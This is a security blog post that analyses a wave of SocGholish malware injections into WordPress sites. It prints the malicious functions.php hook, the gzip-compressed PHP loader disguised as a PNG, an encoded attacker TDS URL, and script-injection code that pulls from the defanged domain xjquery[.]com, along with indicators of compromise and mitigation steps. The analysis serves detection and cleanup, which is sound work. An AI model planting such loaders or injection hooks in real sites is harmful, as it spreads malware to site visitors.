Xjquery Wave of WordPress SocGholish Injections

New Xjquery Wave of WordPress SocGholish Injections

In November, 2022, my colleague Ben Martin described how hackers were using zipped files and encrypted WordPress options stored in the database to inject SocGholish scripts into compromised WordPress sites. A bit later, we documented minor changes in the way this malware worked.

By the end of March, 2023, we started noticing a new wave of SocGholish injections that used the intermediary xjquery[.]com domain. It appeared to be another evolution of the same malware.

This time, however, attackers were using the same tricks in a different way. Instead of zip, they used the zlib compression — and instead of storing the SocGholish payload in wp-options table, they started storing the name of the fake image file containing the PHP code that injects the xjquery[.]com script into WordPress pages. The xjquery[.]com domain works both as a backend TDS for the injection as well as the frontend redirect to the final SocGholish script.

Infected functions.php

Infected sites are found to contain the following malicious code, which is injected at the bottom the current WordPress theme’s functions.php file.

add_action( 'wp_loaded', 'wplicense_update_check' );
if ( ! function_exists( 'wplicense_update_check' ) ) {
function wplicense_update_check() {
/**
* License Update Checker Hook
*
* Register theme update checker hook.
*
*/
$wplicense_update = get_option( '_' . get_stylesheet() . '_licence_data');
if ($wplicense_updater = locate_template( $wplicense_update[0] . '-' . $wplicense_update[3] . '.' . $wplicense_update[1] )) {
load_template( $wplicense_update[4] . '.' . $wplicense_update[2] . '://' . $wplicense_updater, true);
}
}
}

This code adds the wp_loaded action hooked to the wplicense_update_check function which obtains the location of the files with the malicious template within the _<theme-name>_licence_data option in the wp_options table. For example, if the current theme is twentytwentythree then the malicious option name will be _twentytwentythree_licence_data.

Once the template file is located, this code makes WordPress load this template for every web page served by WordPress.

Serialized _licence_data option

Let’s examine the malicious _licence_data option.

a:5:{i:0;s:10:"screenshot";i:1;s:3:"png";i:2;s:4:"zlib";i:3;s:4:"main";i:4;s:8:"compress";}

Here we can see serialized data. The get_option function returns it unserialized, so the malicious code uses it as a five item array with a misleading name: $wplicense_update.

Three of the items are used to build the name of the template file: screenshot-main.png, and the rest two are concatenated into the name of the “compress.zlib://” protocol. These strings are used to construct the template_file parameter for the load_template function:

load_template(compress.zlib://screenshot-main.png”, true) ;

Basically, this function loads PHP code from the compressed screenshot-main.png file, which is located in the current theme’s directory.

PHP code in screenshot-main.png

The screenshot-main.png file is not an image. It’s a gzip-compressed PHP file that can be decompressed using the gunzip command.

We found two versions of this file. A simple one, and one based on the code of zTDS.

Simple version: screenshot-main.png

The simple variant adds the //xjquery[.]com/js/jquery-min-js script to the wp_print_scripts action.

<?php
add_action('wp_print_scripts', 'wp_updater_print_scripts');
function wp_updater_print_scripts() {
echo("<script async type='text/javascript' src='//xjquery[.]com/js/jquery-min-js'></script>\n");
}
?>

Modified zTDS version: screenshot-main.png

The more complex variant appears to be a modified version of the zTDS script. zTDS is a Russian traffic direction system (TDS) that can filter traffic based on multiple parameters such as browser, device, geo location, IP address, language support, and referrer, etc. It can also block bots and other unwanted visitors (e.g. recurring visits, no referrer or empty IP).

zTDS code in decompressed screenshot-main.png
zTDS code found within decompressed screenshot-main.png

The first obvious modification of the original zTDS script is the part that defines the API key and the TDS URL:

$z_key_api_host = 'H4sIAAAAAAACA8soKSkottLXr8gqLE0tqtRLzs8FACxGpBMTAAAA';

$z_url = gzdecode(base64_decode($z_key_api_host));

Instead of the API key, the $z_key_api_host variable contains an encrypted value that is decrypted on the following line as the value for the TDS URL. In this case, the decrypted URL is hxxps://xjquery[.]com.

The script uses the basic zTDS functionality to filter out bots (e.g. search engine crawlers) and returning visitors. It then sends all the information about the visitor to the TDS URL (hxxps://xjquery[.]com/) using a POST request. The response from the TDS contains a serialized array of data. Out of all the received data, the malware uses only the URL that it puts in the $z_out variable.

The final modification to the zTDS script is the way this script uses the received $z_out URL.

if ($z_bot == $z_empty && !empty($z_out)) {
$GLOBALS['z_out'] = $z_out;
add_action('wp_print_scripts', 'wp_updater_print_scripts');
}
function wp_updater_print_scripts() {
global $z_out;
echo ('<script async src="' . $z_out . '"></script>');
}

As seen in the simple version, the malware creates the wp_updater_print_scripts function and adds it to the wp_print_scripts action, which makes WordPress add the malicious script tag along with other scripts used by other themes and plugins.

Injected script URLs

The added script ifor the complex variant is the same as the simple one.

<script async="" type="text/javascript" src="//xjquery[.]com/js/jquery-min-js"></script>

However, in some cases, //xjquery[.]com/migratejs/jquery-migrate-js is used as the script URL.

The //xjquery[.]com/js/jquery-min-js is not the final URL of the payload. This URL redirects to the most current SocGholish URL used by this particular campaign (most likely the one that used to be identified as cid=27x).

Let’s take a look at the timeline:

  • March, 2023 the final URL was:
    hxxps://blockchain.shannongougenheim[.]com/hvS896hO60LAvELLf3FWYjgT3v2R3e1hpm/VLSzP8uw=
  • March 30, 2023 switched to:
    hxxps://life.judyfay[.]com/2pJTroHgCOUeej71FBuLATf1Sf6ZiwFtZmNkxwJFgUA=
  • May 9, 2023 it switched again to:
    hxxps://framework.rankinfiles[.]com/zPaVd7axAj6hdmOArCwDNPEqRRUfrSFo51wNi2V+5NQ=.

Malware footprint

Let’s take a look at the malware footprint for this latest infection wave:

  • wp-content/themes/<theme-name>/functions.php – Theme file which loads a malicious template from screenshot-main.png.
  • wp-content/themes/<theme-name>/screenshot-main.png – Malicious gzip-compressed template which injects the SocGholish script into WordPress pages  via the wp_print_scripts action.
  • wp_options._<theme-name>_licence_data – Database record found in the wp_options table stores the name of the zlib-compressed template (screenshot-main.png) that injects SocGholish scripts.

Conclusion

Bad actors are continually evolving their tactics, techniques, and procedures to evade detection and prolong the life of their malware campaigns. SocGholish malware is a prime example of this, as attackers have altered their approach in the past  to inject malicious scripts into compromised WordPress websites. By leveraging different compression methods, obfuscating their code, and using intermediary domains, these attackers make it more challenging for security researchers and website owners to detect and remediate the infections.

These recent changes in SocGholish malware infections serve as a reminder of the importance of website security and the responsibility website owners have to maintain a clean environment.

The key to protecting a website from SocGholish malware is to reduce the attack surface at every possible opportunity. Consider implementing the following mitigation steps:

  1. Regularly update your WordPress core, themes, and plugins to patch any known vulnerabilities.
  2. Use strong passwords for all user accounts, especially for admins and other high privilege users.
  3. Implement two-factor authentication (2FA) for added security.
  4. Limit the number of users with administrative access to your website.
  5. Regularly scan your website for malware, either manually or by using automated security tools.
  6. Monitor your website’s traffic and server logs. Regularly investigate any unusual spikes or user behavior.
  7. Implement a Web Application Firewall (WAF) to block malicious traffic and help prevent unauthorized access.
  8. Regularly backup your website and store backups offsite to ensure data recovery in case of an infection.

Our website monitoring services can detect NDSW or SocGholish malware infections, ensuring a timely response. If you believe your site has been compromised or infected, we’re available 24/7 to help clean up malware.

Resources

Get help removing malware from your website

You May Also Like